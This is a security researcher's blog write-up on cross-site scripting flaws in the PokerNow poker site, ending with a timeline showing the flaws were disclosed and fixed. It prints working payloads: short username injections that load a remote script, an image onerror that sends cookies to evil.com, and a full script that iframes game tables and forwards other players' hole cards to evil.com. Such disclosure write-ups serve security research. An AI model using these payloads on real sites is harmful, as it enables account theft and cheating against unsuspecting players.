Kevin Roleke

[email protected]

github.com/kevinroleke

I Can See Your Hole Cards: Hacking PokerNow

Published 2024-06-13

PokerNow

Due to the high-stakes nature and complexity of poker games such as No Limit Hold'em and Pot Limit Omaha, there are only a handful of providers offering online poker software.

PokerNow is a popular free service created by Samuel Simões where anyone can create a table and play with their friends.

Obviously, the integrity of the game is of upmost importance to players.

So let's see what we can do.

Digging In

I began looking at the Clubs section of the website, where users can host a page helping to manage underlying games, player accounts and balances.

Pop open devtools and...

PokerNow API Client

PokerNow API Client

Well that always makes my job a lot easier!

I've never looked forward to manaully deobfuscating webpack bundles.

renderClubPlayers(div, club) {
    if (club.config && club.config.leaderboard) return this.renderLeaderboard(div, club)

    let html = []

    html.push(`
      ${this.subheader('Club Players')}
      <div class="card-body p-grid-container section-body">
      `)

    for (let player of club.players) {
      let row2 = ''
      if (player.hasOwnProperty('chips_balance')) {
        row2 = `<div id="p-stack-${player.user_id}">${this.formatted(player.chips_balance, club.use_cents, false, player.credit_limit)}</div>`
      }
      row2 += `<span class="item-subtext" id="player-role-${player.user_id}">${player.club_role}</span>`
      html.push(`
        <div class="item">
          <a class="nomarkupblack" href="#" onclick="club.showPlayer('${player.user_id}');return false;">
          <table>
            <tr>
              <td nowrap>${this.profileLogo(player, 'profile-image-small', 'profile-image-placeholder-small')}</td>
              <td>
                <b>${player.display_name}</b><br>
                ${row2}
        ...
      `)
    }

Who needs event listeners or proper templating? Just string together some HTML and through user input directly in there. We can probably find an XSS injection.

htmlEscape(str) {
    if (!str) return ''

    return str
      .replace(/&/g, '&amp;')
      .replace(/'/g, '&apos;')
      .replace(/"/g, '&quot;')
      .replace(/>/g, '&gt;')
      .replace(/</g, '&lt;');
}
...
<div class="tc2 bold">${club.htmlEscape(c.club_name)}</div>

Some user-controlled fields are run through a simple sanitizer similar to PHP's htmlentities. However, it's usage is sporadic and there are several instances of the player's display name or "network username" being passed without sanitization.

I would typically expect a username to not contain special characters like <, >, ', or ".

But look! I can actually put HTML tags in my username.

Here's it's escaped

Here it's escaped

Here our tag is executed!

Here our tag is executed!

And we officially have HTML injection!

Unfortunately for us, PokerNow usernames are limited to 14 characters. This is going to be a challenge to get anything useful... I searched around for really short XSS payloads but the absolute shortest I could find was <q oncut="<javascript>, which requires the user to cut and paste on the field. Not ideal.

After spending an hour attempting to craft the a useful payload, it's back to the hunt.

let buttons = []
if (!isMe) buttons.push(`<a href="#" class="btn btn-success btn-confirm-reject" onclick="club.approveWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}');return false"><i class="fa fa-check fa-outlined"></i></a>`)
buttons.push(`<a href="#" class="btn btn-danger btn-confirm-reject" onclick="club.rejectWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}', ${isMe});return false"><i class="fa fa-times fa-outlined"></i></a>`)

These are buttons for the administrator of a club to accept or reject members. Looks like we also have the username injection here and we're already inside of a Javascript context.

',alert(47))//

BANG!

BANG!

Making Something Useful

Although exciting, that alert box isn't going to help out much.

We still need to work in a very constrained space with the 14 character limit, but at least we have a little room for Javascript now.

The goal is to include an external script from our server, which should be possible due to loose CSP rules.

Starting with this, we are a bit over the size limit.

fetch('https://my.server/x.js').then(data => data.text()).then(eval)

Thankfully PokerNow uses jQuery, so the above can be truncated to:

$.getScript('https://my.server/x.js')

And using a cool unicode trick from 1lastBr3ath, we can shrink the URL to something like ㎠.㎺ (only three characters!) which will be expanded to cm2.pw.

$.getScript('//㎠.㎺')

Damn. Still too long... But we can break up the payload into several users like so:

USER1: ',x="getSc")//
USER2: ',y="ript")//
USER3: ',z=$[x+y])//
USER4: ',z('//㎠.㎺'))//

Although it would work, this method requires the club admin to click reject or approve on each account in order. To make this more likely to happen, we can glitch the buttons so that the accounts are never actually removed or approved. Our accounts will annoyingly linger in the queue, as our code is run in the background.

message: `Are you sure you want to <b>APPROVE</b> adding <b>${club.htmlEscape(username)}</b> to the club?`,

Remember the htmlEscape function? It calls String.replace on the input. If we pass something like a Number or Function, the execution will error out and stop.

The cleanest way I found to do this was by appending .at to the closing quote, making the parameter reference to the String.at function.

'.at,alert())//

Now we wait for the admin to frustratingly click "reject" on all four of our spammy accounts to collect his creds.

Still boring!

The admin needing to click on a bunch of accounts repeatedly is not ideal. We want automatic execution when you hit the page. And we really want it to affect normal players as well as admins.

Let's try some other injection points.

Club slug (URL)

<a class="nomarkupblack" href="/clubs/${c.slug}">

This validation is only client-side!

This validation is only client-side!

Works! Although our club URL is glitched

Works! Although our club URL is glitched

Transaction ledger descriptions

2496       html.push(`<td>${desc}</td>`)

Littered with injections!

Littered with injections!

Spread to unprivledged members

Spread it to unprivledged members

Club description

let description = options.description || '' // this.club.description || ''
if (description) {
  description = `<div class="title-subtext mt8">${description}</div>`
}

let html = `
  <table width='100%'>
    <tr>

The club description field is also completely unfiltered before being shot into the HTML! The club admin has full control over this field and there is no character limit. It is loaded on every club lobby page.

Testing with a basic XSS payload, the theory is confirmed. This auto-executes after visiting the club page, whether you're a member or admin.

<img src=x onerror="alert('no longer constrained to 14 characters.')" />
<img src=x onerror="fetch(`//evil.com/${btoa(document.cookie)}`)" />

Peeping hole cards

Now for some fun. How can we see them hole cards?

Our script is only executed on the club lobby page, not the game rooms/tables. Which is where we need to be! Our opponents' hole cards are accessible in the DOM on the table page.

Perhaps not the simplest method, but this is what came to mind:

What if instead of a link to the table opening in a new tab, we replace the screen with an iframe containing the table page and pull data from it's contentWindow?

Typically the top window containing an iframe cannot access it's DOM, but we are iframing a page on the same subdomain so SOP need not apply.

document.querySelector('iframe').contentWindow.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');

Nice!

Full Payload

Here's the idea:

  1. Replace every table link with a button
  2. Onclick: inserts an iframe to the table, covering the whole screen
  3. Setup a loop to extract the hole cards through the iframe
  4. Send the data off to our server
  5. Profit
for (const ele of document.querySelectorAll('.btn.btn-primary.btn-md')) {
    const url = ele.href;
    ele.href = "#"
    ele.target = ""
    ele.onclick = () => {
        let f = document.createElement('iframe');
        f.src = url;
        f.style = 'z-index: 9999; width: 100vw; height: 100vh; position: absolute; left: 0; top: 0;';
        f.onload = () => {
            let cw = document.querySelector('iframe').contentWindow;
            setInterval(() => {
                const cards = cw.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
                if (cards.length < 2) return;

                const dc = [cards[0].textContent.substr(0, 2), cards[1].textContent.substr(0, 2)];
                const username = cw.document.querySelector('.username').textContent;
                fetch("//evil.com/"+username+"/"+dc.join('_'));
            }, 1000);
        }
        document.querySelector('body').appendChild(f);
    };
}

Wrap it up into a payload.

<img src=x onerror="eval(atob(`Zm9yICh...07Cn0K`))" />

Aaaannndd, nice!

Now, every player who joins our table will have their hole cards periodically forwarded to my server.

Time to make some hero calls with J4o :)

2024-06-12 Disclosed to PokerNow

2024-06-12 Patch in progress

2024-06-13 Fixed